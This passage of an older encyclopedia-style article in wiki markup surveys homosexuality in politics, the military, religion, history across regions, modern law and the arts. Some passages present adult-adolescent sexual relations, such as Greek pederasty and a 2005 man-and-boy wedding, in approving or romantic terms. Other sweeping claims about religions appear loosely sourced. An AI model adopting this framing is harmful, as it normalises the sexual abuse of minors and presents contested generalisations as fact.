Despite the emollience of attitudes towards homosexuality and acceptance of it in some societies, in [[psychology]] it is considered an 'understudied relationship'.  In his book, ''Understudied Relationships'', [[social psychology|social psychologist]] S.W. Duck found that most mainstream research is predisposed towards studying only [[heterosexuality]], in terms of relationships in contemporary Western cultures, implicating that same-sex relationships are neglected and ignored by the majority of psychologists.  More research since the [[1990]]s has focused on homosexual relationships, rather than just heterosexual relationships.

===Political aspects===
====Scapegoating====
[[Image:Burning of Sodomites.jpg|thumb|''Burning of Sodomites''&lt;br&gt;Accused of sodomy, the knight von Hohenberg and his squire being burned at the stake, [[Zurich]] 1482 ([[Spiezer Schilling]])]]&lt;!--(?)--&gt;
Homosexuality has at times been used as a [[scapegoat]] by governments facing problems. Some examples would be [[Nazi Germany]]'s treatment of homosexuality based on the understanding that it was a threat to masculinity as well as contaminating the &quot;[[Aryan Race]]&quot;.  Another is the burning of 6,000 books of homoerotic poetry of 8th c. Persian-Arab poet [[Abu Nuwas]] by the Egyptian Ministry of Culture in January 2001, to placate [[Islamic fundamentalism|Islamic fundamentalists]]. During the early 14th century, accusations of homosexual behaviour were instrumental in disbanding the [[Knights Templar (military order)|Knights Templar]] by the French court under [[Philip IV of France|King Philip the Fair]] (''see [[Knights Templar#Heresy and pardon|Heresy and Pardon of Knights Templar]]'').  As recently as the 1950s, Democrats in the United States Senate tried to discredit Senator McCarthy and his attacks on Communist sympathizers by accusing one of his aides of being a homosexual.

====Business and attitudes towards homosexuality====
In countries where business structures have a significant degree of [[autonomy]] from a government, the companies have often been at the forefront in treating gay men and women equally.  In the United States, the level of equal parity is much more common in business structures than governments.  [[As of 2005]] approximately 45% of companies within the [[Fortune 500]] offered [[domestic partner]] benefits and nine of the top ten companies include [[sexual orientation]] in their non-discrimination policies.

===Military===
Homosexuality since ancient times has been documented to be more common in [[military|militaries]] with their generally strict [[sex segregation]]. Official attitudes towards this form of sexuality have varied, usually reflecting their culture's views. [[Ancient Greece]] among others, as well as [[history of Japan|pre-modern]] [[Japan]]'s military traditions openly encouraged pederastic sexual relationships among males to foster [[male bonding]] and education ''(see [[pederasty]] and [[shudo]])''. Many modern countries (such as the [[United Kingdom]], [[The Netherlands]], and [[Israel]]) welcome homosexuals in the armed services and officially support soldiers' participation in [[pride parade]]s. {{ref|army_pride}} Others, such as the [[United States]], purge them from the force in the belief that they are a threat ''(see [[Don't ask, don't tell]])''. This negative attitude was common in the [[Europe]]an [[Middle Ages]] when the [[Knights Templar (military order)|Knights Templar]], a prominent [[Christianity|Christian]] brotherhood of knights during the [[Crusades]] was destroyed on accusations of homosexuality.

Militaries have been known to use [[sexuality]] in abusive manners such as [[rape]], frequently based on a [[sexism|sexist]] view of [[gender role]]s. [[Ancient Rome|Ancient Romans]] viewed [[masculinity]] as being associated with a penetrative sexual role, regardless of the sex of the receptive partner, and used it as a form of dominance. [[T. E. Lawrence]], during [[World War I]], claimed to have been raped by his male [[Ottoman Empire|Ottoman]] captors.

* See also: [[Sacred Band of Thebes]]

===Youth groups===
[[Scouting]], a worldwide group of youth organisations, often emulate the attitude of their home country's military. Thus [[the Scout Association]] in the UK welcomes gay members both as members and as leaders, while the [[Boy Scouts of America]] expel them. However, the Scout Association of Malta, embraces gay members as members and leaders, even though the military does not have an official policy. (It should be noted that [[The Scout Association]] UK claims that it welcomes gay members on the basis of diversity, as it no longer emulates the military.)

===Religion===
{{main|Religion and sexual orientation}}

[[Religion]] has played a significant role in forming a culture's views towards homosexuality. 

Historically the negative views of homosexuality have been limited to the [[Abrahamic religion]]s.  Groups not influenced by the Abrahamic religions have commonly regarded homosexuality as sacred or neutral.  In the wake of [[colonialism]] and [[imperialism]] undertaken by countries of the Abrahamic faiths some non-Abrahamic religious groups have adopted new attitudes antagonistic towards homosexuality.  For example, when [[India]] became part of the [[British Empire]], [[sodomy laws]] were introduced; while there was no basis for them in [[Hindu]] faith, this led to [[persecution]] of their society and religion.  India still retains portions of these laws due to this past foreign influence [[as of 2006]].  This experience was also repeated by other Abrahamic religious nations upon their acquisitions throughout [[Africa]], [[Asia]], and the [[Americas]]. 

The [[Roman Catholic Church]] requires homosexuals to practice [[chastity]] in the understanding that homosexual acts are &quot;intrinsically disordered&quot;, and &quot;contrary to the [[natural law]]&quot;. It insists that all are expected to only have heterosexual relations and only in the context of a marriage, describing homosexual tendencies as &quot;a trial&quot;, and stressing that people with such tendencies &quot;must be accepted with respect, compassion, and sensitivity.&quot; {{ref|catechism}} Distinguishing between &quot;deep-seated homosexual tendencies&quot; and those that are &quot;only the expression of a transitory problem&quot;, the Vatican requires that any homosexual tendencies &quot;must be clearly overcome at least three years before ordination to the diaconate.&quot; {{ref|criteria}}

In brief, [[Hinduism]] has taken various positions, ranging from positive to neutral or antagonistic. [[Sikhism]] teaches that Homosexuality is unnatural, and therefore, sinful.  [[Confucianism]] has allowed homosexual sex with the precondition of procreation. [[Abrahamic religions]] have held varied views of homosexuality, depending on place, time and form of same-sex desire. [[Islam]] regards homosexual love and desire as natural but sexual relations as a transgression negatory of the natural role and aim of sexual activity. {{ref|islam}} [[Buddhism]] is divided, with contemporary Western Buddhists and many Japanese and Chinese schools holding very accepting views, something that is traditionally allowed when the relationship does not impede the birth of a child, while other Eastern Buddhists since colonial times have adopted attitudes that scorn the practice. [[Christianity]] has traditionally condemned deliberately non-procreative sex, and while attitudes have in some sectors been liberalised, the majority of denominations still view homosexual relationships as sinful. [[Judaism]], depending on the movement, is either liberal, conservative, or neutral on the subject. The Orthodox tradition generally views homosexual sex as sinful, and homosexual attraction as out of the norm, while Reform and Reconstructionism are fully accepting of gay attraction and sex. Conservative Judaism doesn't view attraction as sinful. Homosexual acts are just thought of as being equal to breaking any other of the mitzvot.  This movement, however, does not admit openly gay Jews as rabbis, nor does it perform commitment ceremonies. It is very open to it, and because of the movement's belief in an evolving Torah, the issue is very big in the movement today. [[Native American (Americas)|Native American]] religions generally grant gender-variant individuals honoured status for their perceived [[two-spirit|spiritual powers]]. [[Greek religion|Greek]], [[Shinto|Japanese]], [[Melanesian]], [[Roman religion]], and [[Taoism]] take a positive outlook.

===Polemic===
{{main|Anti-gay slogan}}

Same-sex love practices have been the subject of a continuing debate dating back at least to Classical Greece. In antiquity, and in countries not under the sway of Abrahamic beliefs, the debates usually took the form of debating which love is best, the love of women or the love of boys, unlike more recent discussions which frame the question in terms of &quot;right&quot; and &quot;wrong.&quot;

Each camp has made use of a relatively circumscribed arsenal of arguments, some of which have not changed greatly over the past two and a half thousand years. Recent advances in [[sociology|sociological studies]] and other [[discourse]] such as [[queer theory]] have brought a measure of scientific rigour to what had been mostly a philosophical debate. 

====Con====
* &quot;Same-sex love is against nature&quot; This charge dates back to Classical Greece, where it was first articulated by [[Plato]] in his ''[[Laws (dialogue)|Laws]]''. Of course, Plato also portrayed many homosexual and homoerotic scenes in his dialogues, most notably in the Lysis, Charmindes, and Symposium.
* &quot;It is condemned by God.&quot; Expressed by early Christian exegetes (claimed to be the moral of the [[Sodom and Gomorrah]] story), and also in the [[Qur'an]]. There are scriptures throughout all the Abrahamic religions (Judaism, Christianity, Islam), at least apparently condemning the practice.
* &quot;It leads to plagues and natural disasters.&quot; Advanced by Christian authorities from late Antiquity through the Renaissance.
* &quot;It is abuse of the young.&quot; Encountered in &quot;Erotes,&quot; a dialogue of the early Christian era by &quot;[[Lucian]].&quot;
* &quot;It is a dissipation of one's reproductive force.&quot; Plato, ''Laws,'' 838

====Pro====
* &quot;It is commonplace in nature.&quot; Based on zoologists' observations of many different species. {{ref_label|Bagemihl|3|a}}
* &quot;Suppressing it alters the balance of nature.&quot; A Melanesian belief. {{ref_label|Bagemihl|3|b}}
* &quot;It foments close friendships and independent thinking.&quot; Also in Lucian
* &quot;It [male homosexuality] is a mark of true masculinity.&quot; Claimed by [[Sufism|Indian Sufi]] [[Akhi Jamshed Rajgiri]] in self defense before the Sultan of Jaunpur for his love of youths. (In Vanita &amp; Kidwai,  2000, p.139)
* &quot;Suppression is irrational&quot; [[Jeremy Bentham]], in his 1785 essay on &quot;Paederasty&quot; (first English language text on homosexuality) states: &quot;It is wonderful that nobody has ever yet fancied it to be sinful to scratch where it itches, and that it has never been determined that the only natural way of scratching is with such or such a finger and that it is unnatural to scratch with any other.&quot;
* &quot;The male form is superior to the female form&quot; (implication for male homosexuality).  Medieval Arabic text included in the [[Arabian Nights]] (The Debate Between the Wise Woman and the Sage).

==Historical and geographical practices==
{{main|History of sexuality}}

Sexual customs have varied greatly over time and from one region to another. These, as well as the orientation of particular pre-contemporary figures continue to be studied. Modern Western gay culture, largely a product of [[19th century|19th-century]] [[psychology]] as well as the years of post-[[Stonewall riots|Stonewall]] [[gay liberation]], is a relatively novel manifestation of same-sex love. It is generally not applicable as a standard when investigating same-gender sex and historical opinions and beliefs held by other people.

It is generally accepted that the lives of historical figures such as [[Socrates]], [[Alexander the Great]], [[Hadrian]], [[Julius Caesar]], [[Michelangelo]], [[Donatello]] and [[Christopher Marlowe]] included or were centred upon love and sexual relationships with people of their own gender. Terms such as ''gay'' or ''bisexual'' have been applied to them, but many regard this as risking the anachronistic introduction of a modern social construction of sexuality foreign to their times. Variations from modern standards of beauty, social roles, sexual positions, and age disparities are of such magnitude so as to render meaningless any projection of modern roles onto historical personages.

While some premodern societies did not employ categories fully comparable to the modern homosexual or heterosexual dichotomy, this does not demonstrate that the polarity is not applicable to those societies. A common thread of constructionist argument is that no one in antiquity or the Middle Ages experienced homosexuality as an exclusive, permanent, or defining mode of sexuality. John Boswell has criticised this argument by citing ancient Greek writings by Plato, which he says indicate knowledge of exclusive homosexuality. 

[[Michel Foucault]] and his followers have argued that the ''homosexual'' is a modern invention, a mental construct of the last 100 years. While true of homosexuality as a ''scientific'' or ''psychological'' category, there are examples from earlier ages of those viewing their sexuality as a part of a human identity and not merely a sexual act. One cited example is the [[16th century|16th-century]] Italian artist [[Giovanni Antonio Bazzi]] who adopted the nickname &quot;Sodoma&quot;, which is viewed by Louis Crompton as something analogous to the modern gay identity.

Conversely, it could be noted that the practice of describing a notably evidenced historical figure as having a heterosexual orientation rarely evokes such controversy.  This tendency among Western historians, to view heterosexuality as an acceptable norm while regarding arguments that a particular historical figure may have been gay controversial or requiring more evidence than a claim of opposite-sex attraction might warrant, is often attributed to homophobia on the part of historians and is referred to within queer studies as [[heteronormativity]].

===Africa===
Though frequently denied or ignored by European explorers, homosexual expression in native Africa was also present and took a variety of forms. Representative examples:

Anthropologists Murray and Roscoe report that women in [[Lesotho]] have engaged in socially sanctioned  &quot;long term, erotic relationships&quot; named ''motsoalle.''

E. E. Evans-Pritchard reported that male [[Azande]] warriors (in the northern [[Democratic Republic of the Congo|Congo]]) routinely married male youths who functioned as temporary wives. The practice had died out in the early 20th century but was recounted to him by the elders.

An academic paper by Stephen O. Murray examines the history of descriptions of [http://semgai.free.fr/doc_et_pdf/africa_A4.pdf &quot;Homosexuality in traditional Sub-Saharan Africa&quot;].

===Americas===
[[Image:Catlin - Dance to the berdache.jpg|thumb|''Dance to the Berdache''&lt;br&gt;[[Sac and Fox]] nation ceremonial dance to celebrate the two-spirit person. George Catlin (1796-1872); Smithsonian Institution, Washington, DC]]

In North American Native society, the most common form of same-sex sexuality seems to centre around the figure of the [[two-spirit]] individual. Such persons seem to have been recognised by the majority of tribes, each of which had its particular term for the role. Typically the two-spirit individual was recognised early in life, was given a choice by the parents to follow the path, and if the child accepted the role then it was raised in the appropriate manner, learning the customs of the gender it had chosen. Two-spirit individuals were commonly [[shamans]] and were revered as having powers beyond those of ordinary shamans. Their sexual life would be with the ordinary tribe members of the opposite gender. Male two-spirit people were prized as wives because of their greater strength and ability to work. ''See [[Two-spirit]]''

===East Asia===
In [[Asia]] same-sex love has known since the dawn of history. Early Western travellers were taken aback by its widespread acceptance and open display.

[[Homosexuality in China|Homosexual relations]] in [[China]], known as the ''pleasures of the bitten peach,'' ''the cut sleeve,'' or ''the southern custom,'' have been recorded since approximately [[600s BCE|600 BCE]]. These euphemistic terms were used to describe behaviours, but not identities. The relationships were marked by differences in age and social position. However, the instances of same-sex affection and sexual interactions described in the ''[[Cao Xueqin|Hong Lou Meng]]'' (''Dream of the Red Chamber,'' or ''Story of the Stone'') seem as familiar to observers in the present as do equivalent stories of romances between heterosexuals during the same period. 

[[Homosexuality in Japan#Ancient Japan|Homosexuality in Japan]], variously known as [[shudo]] or [[nanshoku]], terms influenced by Chinese literature, has been documented for over one thousand years and was an integral part of [[Buddhism|Buddhist]] monastic life and the [[samurai]] tradition.  This same-sex love culture gave rise to strong traditions of [[Ukyio-e|painting]] and literature documenting and celebrating such relationships. 

Similarly, in [[Thailand]], ''[[Kathoey]]'' or ladyboys have been a feature of Thai society for many centuries, and Thai kings had male as well as female lovers. Kathoey are men who dress as women. They are generally accepted by society. The teachings of [[Buddhism]], dominant in Thai society was accepting of a third gender designation.

===Europe===
[[Image:Romanmanandyouth.jpg|thumb|Roman man and youth in bed.'' ca. AD [[30]]''  Found in Estepa, [[Spain]]]]

:''Main articles: [[Pederasty in ancient Greece]] and [[Philosophy of Greek pederasty]]''

The earliest western documents (in the form of literary works, art objects, as well as [[Greek mythology|mythographic materials]]) concerning same-sex relationships are derived from [[Ancient Greece]]. They depict a world in which relationships with women and relationships with youths were the essential foundation of a normal man's love life. Same-sex relationships were a social institution variously constructed over time and from one city to another. (See [[Pederasty]]) The practice, a system of relationships between an adult male and an adolescent coming of age, was often valued for its pedagogic benefits and as a means of population control, and occasionally blamed for causing disorder. [[Plato]] praised its benefits in his early writings, but in his late works proposed its prohibition, laying out a strategy which uncannily predicts the path by which same-sex love was eventually driven underground. ''(See [[Philosophy of Greek pederasty]])''

The [[Roman Empire|Roman]] emperor [[Theodosius]] decreed a law, on August 6th, [[390]], condemning passive homosexuals to be burned at the stake. [[Justinian I|Justinian]], towards the end of his reign, expanded the proscription to the active partner as well (in [[558]]) warning that such conduct can lead to the destruction of cities through the &quot;wrath of God.&quot; Notwithstanding these regulations, taxes on homosexual boy [[brothels]] continued to be collected until the end of the reign of [[Anastasius I (emperor)|Anastasius I]] in [[518]]. 

During the [[Renaissance]], cities in northern Italy, [[Florence]] and [[Venice]] in particular, were renowned for their widespread practice of same-sex love, engaged in by a majority of the male population and constructed along the classical pattern of Greece and Rome. {{ref|rocke}} {{ref|ruggiero}} But even as the majority of the male population was engaging in same-sex relationships, the authorities, under the aegis of the [[Officers of the Night]] court, were prosecuting, fining, and imprisoning a good portion of that population. The eclipse of this period of relative artistic and erotic freedom was precipitated by the rise to power of the moralising monk [[Girolamo Savonarola]]. Throughout all of Europe, fierce conflicts, dating back to the early [[Middle Ages]], raged between proponents and opponents of same sex love. In northern Europe the artistic discourse on sodomy was turned against its proponents by artists such as [[Rembrandt Harmenszoon van Rijn|Rembrandt]], who in his [[Ganymede (mythology)#Renaissance and Baroque Ganymede|&quot;Rape of Ganymede&quot;]] no longer depicted [[Ganymede (mythology)|Ganymede]] as a willing youth, but as a squalling baby attacked by a rapacious bird of prey.

===Middle East and Central Asia===
[[Image:Samarkand A group of musicians playing for a bacha dancing boy.jpg|thumb|''Dance of a [[baccha|bacchá]] (dancing boy)''&lt;br&gt; Samarkand, (ca 1905 - 1915), photo [[Sergei Mikhailovich Prokudin-Gorskii]]. [[Library of Congress]], Washington, DC.]]

:''Main articles: [[Pederasty in the Islamic lands]]''

Among many [[Middle East|Middle-Eastern]] Muslim cultures, homosexual practices were widespread and public. Persian poets, such as Attar (d. 1220), Rumi (d. 1273), Sa’di (d. 1291), Hafez (d. 1389), and Jami (d. 1492), wrote poems replete with homoerotic allusions. Recent work in [[queer studies]] suggests that while the visibility of such relationships has been much reduced, their frequency has not. The two most commonly documented forms were commercial sex with [[transgender]] males or males enacting transgender roles exemplified by the [[kocek]]s and the [[baccha]]s, and [[Sufi]] spiritual practices in which the practitioner crossed over from the idealised chaste form of the practice to one in which the desire is consummated.

In Persia homosexuality and homoerotic expressions were tolerated in numerous public places, from monasteries and seminaries to taverns, military camps, bathhouses, and coffee houses. In the early Safavid era (1501-1723), male houses of prostitution (amrad khaneh) were legally recognized and paid taxes. 

A rich tradition of art and literature sprang up, constructing Middle Eastern homosexuality in ways analogous to the ancient tradition of male love in which [[Ganymede (mythology)|Ganymede]], cup-bearer to the gods, symbolised the ideal boyfriend. Muslim &amp;mdash; often [[Sufi]] &amp;mdash; poets in medieval [[Arab]] lands and in [[Iran|Persia]] wrote odes to the beautiful Christian wine boys who, they claimed, served them in the taverns and shared their beds at night. In many areas the practice survived into modern times (as documented by [[Richard Francis Burton]], [[André Gide]], and others).

In [[Central Asia]], on the [[Silk Route]], the two traditions of the east and the west met, and gave rise to a strong local culture of same-sex love. In the [[Turkic languages|Turkic]]-speaking areas, one manifestation of this were the [[baccha|bacchá]], adolescent or adolescent-seeming male entertainers and sex workers. In other areas male love continues to surface despite efforts to keep it quiet. After the American invasion of Afghanistan, Central Asian same-sex love customs in which adult men take on adolescent lovers were widely reported. 

Other forms are less well documented. It is reported that in the oasis of [[Siwa]] boy marriages were the norm until the middle of the twentieth century, a practice which was coupled with a minimum age for heterosexual marriage of forty for the men, a measure presumed to have been taken to avoid overpopulation. Finally, sexual relations between older and younger boys are said to be frequent in the Middle East as well as in the [[Maghreb]].

The prevailing pattern of same-sex relationships in the temperate and sub-tropical zone stretching from Northern India to the Western Sahara is one in which the relationships were &amp;mdash; and are &amp;mdash; either gender-structured or age-structured or both. In recent years, egalitarian relationships modelled on the western pattern have become more frequent, though they remain rare.

''See also: [[Tellak]]''

===South Pacific===
In many societies of [[Melanesia]] same-sex relationships are an integral part of the culture.  Traditional [[Melanesia]]n insemination rituals also existed wherein adolescents would [[oral sex|fellate]] older males as part of an initiation rite. In some tribes of [[Papua New Guinea]], for example, it is considered a normal ritual responsibility for a boy to have a relationship as a part of his ascent into manhood. Many Melanesian societies, however, have become hostile towards same-sex relationships since the introduction of [[Christianity]] by [[European]] [[missionaries]].

===Modern Developments===
&lt;!-- Unsourced image removed: [[Image:Generobinsonconsecration.jpg|thumb|Consecration of the [[Anglican Communion]]'s first openly noncelibate gay Bishop, [[Gene Robinson]] on [[November 2]], [[2003]], in [[Durham, New Hampshire]], [[United States]].]] --&gt;

Shortly after [[World War II]] the [[gay community]] began to make advancements in [[civil rights]] in much of the [[Western World]]. A turning point was reached in [[1973]] when, in a vote decided by a plurality of the membership, the [[American Psychiatric Association]] removed homosexuality from the [[Diagnostic and Statistical Manual of Mental Disorders]], thus negating homosexuality as a clinical [[mental disorder]].

Since the [[1960s]], in part due to their history of shared oppression, many gays in the West have developed a shared [[Queer culture|culture]]. Not all gays choose to participate in it, and many gay men and women specifically decline to do so. To many gay men and women, the gay culture represents [[heterophobia]] and is scorned as widening the gulf between gay and straight people. Some people believe that gay culture is exemplified by the [[gay pride]] movement. In the past, some gay groups organised campaigns for awareness of the [[AIDS]] outbreak. 

====Marriage====
At the start of [[2006]], at least five countries (the Netherlands, Belgium, Spain, Canada and South Africa), plus the U.S. in the [[Commonwealth of Massachusetts]], have legalized [[same-sex marriage]].  Other countries, including the majority of [[Europe]], have enacted [[civil unions]]. Numerous countries in [[Scandinavia]] have had domestic partnership laws since the late 1980s.

In Asia, the conflict between homoerotic tradition and a resurgent Islamic fundamentalism continues. Liaquat Ali, a 42 year old [[Afghanistan|Afghan]] refugee, and Markeen Afridi a 16 year old [[Pakistan|Pakistani]] boy, reportedly fell in love and got married in a very public ceremony in October of [[2005]]. {{ref|sydney}} {{ref|daily_times}} There are efforts to refute the original reports which were authored by a reporter from the tribe where the wedding occurred. {{ref|fabricated}}

====Political developments====
Publicly gay politicians have attained numerous government posts, even in countries that had [[sodomy laws]] or outright [[History of Gays during the Holocaust|mass murder of gays]] in their recent past.

====Religious developments====
The overall trend of greater acceptance of gay men and women in the latter part of the [[20th Century]] was not limited to [[secular]] institutions; it was also seen in many [[Religion and homosexuality|religious]] institutions.  [[Reform Judaism]], the largest branch of [[Judaism]] outside [[Israel]] had begun to facilitate religious [[same-sex marriages|weddings]] for gay adherents in their synagogues. The [[Anglican Communion]] encountered discord that caused a rift between the European and North American Churches when American and Canadian churches ordained gay clergy and began blessing same-sex unions against the wishes of the Anglican archdiocese. Other Churches such as the [[Methodist Church]] had experienced trials of gay clergy who some claimed were a violation of religious principles resulting in mixed verdicts dependent on geography.

These developments have been accompanied by a response from certain conservative religious organisations, especially in the United States. In various instances, this movement has succeeded in overturning some of the aforementioned legislation and has had an influence on academia. In late [[2005]], Haworth Press withdrew from publication a volume on homosexuality in classical antiquity titled ''Same-Sex Desire and Love in Greco-Roman Antiquity and in the Classical Tradition of the West.'' This was in response to criticism from American conservative groups which objected to the discussion of positive aspects of classical pederasty, as well as to a chapter by the American academic Bruce Rind which was branded by the critics as advocating pedophilia. ''(see [[Anti-gay slogan]])'' The publisher, in a letter to the editors, exonerated Rind from the accusation and conceded that his article was sound, but stood by its decision to withdraw it &quot;to avoid negative press&quot; and &quot;economic repercussions.&quot;[http://thechronicleherald.ca/NovaScotia/456746.html Article in the Halifax ''The Chronicle Herald'']

Fundamentalist religious organizations are also attempting to weaken the gay rights community by cutting off its sources of income. In spring of [[2005]], the &quot;American Family Association&quot; threatened a boycott of [[Ford]] products to protest Ford's perceived support of &quot;the homosexual agenda and homosexual marriage.&quot; After meeting with representatives of the group, Ford announced it was curtailing ads in a number of major gay publications (thus depriving them of a major source of income), an action it claimed to be determined not by cultural but by &quot;cost-cutting&quot; factors. That statement was contradicted by the AFA, which claimed it had a &quot;good faith agreement&quot; that Ford would cease such ads. Soon afterwards, as a result of a strong upcry from the gay community, Ford backtracked and announced it would continue ads in gay publications, in response to which the AFA denounced Ford for &quot;violating&quot; the agreement, and renewed threats of a boycott.[http://www.consumeraffairs.com/news04/2005/ford_gay_ads04.html Anti-Gay Group Renews Ford Boycott Threat]

==Art and literature==
{{main|Homoeroticism}}

[[Image:Love play in China - wiki.jpg|thumb|''Young men sipping tea, reading poetry, and making love''&lt;br&gt; Individual panel from a hand scroll on homosexual themes, paint on silk; [[China]], [[Qing]] dynasty (18th-19th c.); [[Kinsey Institute]], Bloomington, Indiana]]

One of the main ways in which the record of same-sex love has been preserved is through [[literature]] and [[art]]. Homoerotic sensibilities are at the foundation of art in the west, to the extent that those roots can be traced back to the [[ancient Greeks]]. [[Homer]]'s ''[[Iliad]]'' is considered to have the love between two men as its central feature, a view held since antiquity. [[Plato]]'s [[Symposium]] also gives readers commentary on the subject, at one point putting forth the claim that homosexual love is superior to heterosexual love.

The European tradition was continued throughout the ages in the works of [[Leonardo da Vinci]], [[Michelangelo]], and [[William Shakespeare]].  In Islamic societies it was present in figures such as [[Abu Nuwas]], [[Omar Khayyam]], .  ''[[The Tale of Genji]]'', called the &quot;world's first real novel&quot;, fostered this tradition in [[Japan]], as did the Chinese literary tradition in works such as [[Homosexuality in China#Same-sex love in literature|Bian er Zhai]] and [[Homosexuality in China#Same-sex love in literature|Jin Ping Mei]]

Icons such as [[Madonna (entertainer)|Madonna]] and [[Elton John]] have followed this tradition in modern times.  Presently the Japanese [[anime]] subgenre, [[yaoi]], commonly features the theme.  Artistic nudes have prominently displayed lesbianism.  Playwrights have penned popular works such as ''[[Angels in America: A Gay Fantasia on National Themes|Angels In America]]''.  These sentiments have been pervaded in many movies.  A popular television series exploited these perceptions with ''[[Queer Eye for the Straight Guy]]'' equating gay men with the ancient Greek [[Muses]]. Recently, the film [[Brokeback Mountain]] has raised enormous awareness in the global community about homosexual issues. The film stars [[Heath Ledger]] and [[Jake Gyllenhaal]] as two male ranchers who fall in love in the 1960s. The film was directed by [[Ang Lee]], adapted from the short story by [[Annie Proulx]].  Homosexuality also presents itself in musicals, such as [[Rent]] and [[Bare, a Pop Opera]].

==See also==
*[[Critiques of sexual behavior]]
*[[Gay]]
*[[Goodridge v. Dept. of Public Health]]
*[[Ex-gay]]
*[[Historical pederastic couples]]
*[[Homophobia]]
*[[Homosexuality and transgender]]
*[[Homosexuality in Iran]]
*[[Human Rights Campaign]]
*[[Lawrence v. Texas]]
*[[List of gay, lesbian or bisexual people]]
*[[List of gay, lesbian or bisexual composers]]
*[[List of gay-related topics]]
*[[List of LGBT publications]]
*[[Metrosexual]]
*[[Mythology of same-sex love]]
*[[Sexual minority cultures]]
*[[Sexual orientation]]
*[[Violence against gays, lesbians, bisexuals, and the transgendered]]

===Categories===
*[[:Category:Sexual orientation and science|Sexual orientation and science]], including determinants and demographics of sexual orientation, other scientific studies, and medical opinions
*[[:Category:Ex-gay movement|Organisations which advocate changing one's sexual orientation]]
*[[:Category:LGBT history|LGBT history]]
*[[:Category:LGBT organizations|LGBT organisations]]
*[[:Category:LGBT civil rights|LGBT civil rights]]
*[[:Category:Same-sex marriage|Same-sex marriage]]
*[[:Category:Sexual orientation and identity|Sexual orientation and identity]]
*[[:Category:Sexual orientation and society|Sexual orientation and society]], including moral and political debate and social attitudes
*[[:Category:LGBT issues and religion|LGBT issues and religion]]
*[[:Category:LGBT culture|Gay and lesbian culture]]

==External links==
* [http://www.apa.org/topics/sbehaviorsub1.html Answers to Your Questions About Sexual Orientation and Homosexuality] The American Psychological Association 
* [http://www.androphile.org/ The Androphile Project - History, literature and art of other homosexual cultures] 
* [http://www.glbtq.com/ Encyclopedia of gay, lesbian, bisexual, transgender &amp; queer culture]
* [http://www.aboutgaymovies.info/gay%20movie%20history.htm Gay movie history]
* [http://www.infopt.demon.co.uk/gayhist.htm Gay History &amp; Literature (Rictor Norton)]
* [http://www.glsen.org/ GLSEN: Gay, Lesbian, Straight Education Network]
* [http://www.fordham.edu/halsall/pwh/ Halsall's Gay History Page]
* [http://www.leaderu.com/jhs/reisman.html Kinsey and the Sexual Revolution] - by Dr. [[Judith Reisman|Judith A. Reisman]]
* [http://www.ohsu.edu/news/2004/030504sheep.html OHSU]
* [http://www.ericdigests.org/2001-3/sexual.htm Sexual Minorities on Community College Campuses]
* [http://plato.stanford.edu/entries/homosexuality/ Stanford Encyclopedia of Philosophy - Same-sex Orientation]
* [http://www.unl.edu/rhames/courses/readings/homofinger/homo_finger.html The Breedlove Study]
* [http://gaypaintings.com/magazine gay art magazine Articles  about contemporary gay art today]
* [http://endo.endojournals.org/cgi/rapidpdf/en.2003-1098v1.pdf The Sheep Study]
* [http://www.oneinstitute.org One National Gay &amp; Lesbian Archives]
* [http://gayinfo.tripod.com Gayinfo: famous gays, lesbians and bisexuals]
* [http://williamapercy.com/pub-Peder.htm Pederasty &amp; Pedagogy in Archaic Greece]

==References==
{{sisterlinks|homosexuality}}
#{{note|exit_polls}} [http://www.cnn.com/ELECTION/2004/pages/results/states/US/P/00/epolls.0.html CNN 2004 Exit Polls]. ''See [[Sexual minority cultures]].''
#{{note|Central_Park_penguin}} [http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2004/02/07/MNG3N4RAV41.DTL &quot;Central Park Zoo's gay penguins ignite debate&quot;] by Dinitia Smith, ''San Francisco Chronicle'', February 7, 2004
#{{note|Auckland_penguin}} [http://www.chorley-pct.nhs.uk/documents/projoscaug04news.pdf &quot;Penguin Partners&quot;], ''News from Oscar'', August 2004
#{{note|Bagemihl}} {{note_label|Bagemihl|3|a}} {{note_label|Bagemihl|3|b}} [http://web.archive.org/web/20041010062748/http://www.wholeearthmag.com/ArticleBin/338.html Left-Handed Bears &amp; Androgynous Cassowaries] by Bruce Bagemihl, ''Whole Earth'', Spring 2000
#{{note|sheep_study}} [http://endo.endojournals.org/cgi/content/abstract/145/2/478 &quot;The Volume of a Sexually Dimorphic Nucleus in the Ovine Medial Preoptic Area/Anterior Hypothalamus Varies with Sexual Partner Preference&quot;] by Charles E. Roselli, et al., The Endocrine Society, October 2, 2003
# {{note|Kinsey_male}} Alfred C. Kinsey, ''Sexual Behavior in the Human Male'', 1948, ISBN 0721654452 (o.p.), ISBN 0253334128 (reprint).
# {{note|Kinsey_female}} Alfred C. Kinsey, ''Sexual Behavior in the Human Female'', 1953, ISBN 0721654509 (o.p.), ISBN 0671786156 (o.p. pbk.), ISBN 025333411X (reprint).
# {{note|Kinsey}} Tom Bethell (April 2005). &quot;Kinsey as Pervert&quot;.&lt;/cite&gt;  ''American Spectator'', '''38''', 42-44. ISSN: 0148-8414.
# {{note|revisiting}} Julia A. Ericksen  (May 1998). &quot;With enough cases, why do you need statistics? Revisiting Kinsey's methodology&quot;.&lt;/cite&gt;  ''The Journal of Sex Research'' '''35''' (2): 132-40, ISSN: 0022-4499.
# {{note|sex_survey}} [http://cloud9.norc.uchicago.edu/faqs/sex.htm The National Health and Social Life Survey (&quot;The Sex Survey&quot;)]
# {{note|army_pride}} [http://news.bbc.co.uk/1/hi/england/manchester/4189634.stm &quot;Army marches with Pride parade&quot;], ''BBC News'',  August 27, 2004
# {{note|catechism}} [http://www.vatican.va/archive/catechism/p3s2c2a6.htm &quot;Catechism of the Catholic Church&quot;], see the &quot;Chastity and homosexuality&quot; section.
# {{note|criteria}} [http://www.vatican.va/roman_curia/congregations/ccatheduc/documents/rc_con_ccatheduc_doc_20051104_istruzione_en.html Instruction Concerning the Criteria for the Discernment of Vocations with regard to Persons with Homosexual Tendencies in view of their Admission to the Seminary and to Holy Orders], Congregation for Catholic Education, [[November 04]], [[2005]]
# {{note|islam}} [http://www.alinaam.org.za/library/homos.htm &quot;Homosexuality in the Light of Islam&quot;], [[September 20]], [[2003]]
# {{note|rocke}} Rocke, Michael, (1996), ''Forbidden Friendships: Homosexuality and male Culture in Renaissance Florence'', ISBN 0-91-512292-5
# {{note|ruggiero}} Ruggiero, Guido, (1985), ''The Boundaries of Eros'', ISBN 0-91-505696-5
